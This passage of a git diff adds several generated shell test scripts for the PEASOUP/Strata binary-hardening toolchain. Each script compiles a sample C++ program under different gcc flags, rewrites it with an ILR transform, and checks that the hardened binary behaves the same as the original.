+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O2.no_pic.no_omit-fp.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O2.no_pic.no_omit-fp.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..6796bfc84a3f55173ba1d90ad5bce9ecc1c0c8ce
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O2.no_pic.no_omit-fp.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O2       -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O2       -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O3.-fPIC.-fomit-frame-pointer.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O3.-fPIC.-fomit-frame-pointer.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..f8e0f361b558df09710ad4f1ceb5069d4c4ae4ff
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O3.-fPIC.-fomit-frame-pointer.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O3 -fPIC -fomit-frame-pointer -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O3 -fPIC -fomit-frame-pointer -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O3.-fPIC.-fomit-frame-pointer.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O3.-fPIC.-fomit-frame-pointer.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..4597fdc9d4d8b0b6b3b280c313dce9287afc47de
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O3.-fPIC.-fomit-frame-pointer.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O3 -fPIC -fomit-frame-pointer -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O3 -fPIC -fomit-frame-pointer -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O3.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O3.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..2ed7aa78d652c4814b03800fa14310adf5406d4c
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O3.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O3 -fPIC -fomit-frame-pointer   -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O3 -fPIC -fomit-frame-pointer   -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O3.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O3.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..4ca660d629d1f415ba0064322f29ddf58816fedf
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O3.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O3 -fPIC -fomit-frame-pointer   -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O3 -fPIC -fomit-frame-pointer   -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O3.-fPIC.no_omit-fp.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O3.-fPIC.no_omit-fp.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..0b5c8e9b122e16475999d49cdc30f0125d6f298a
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O3.-fPIC.no_omit-fp.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O3 -fPIC   -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O3 -fPIC   -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
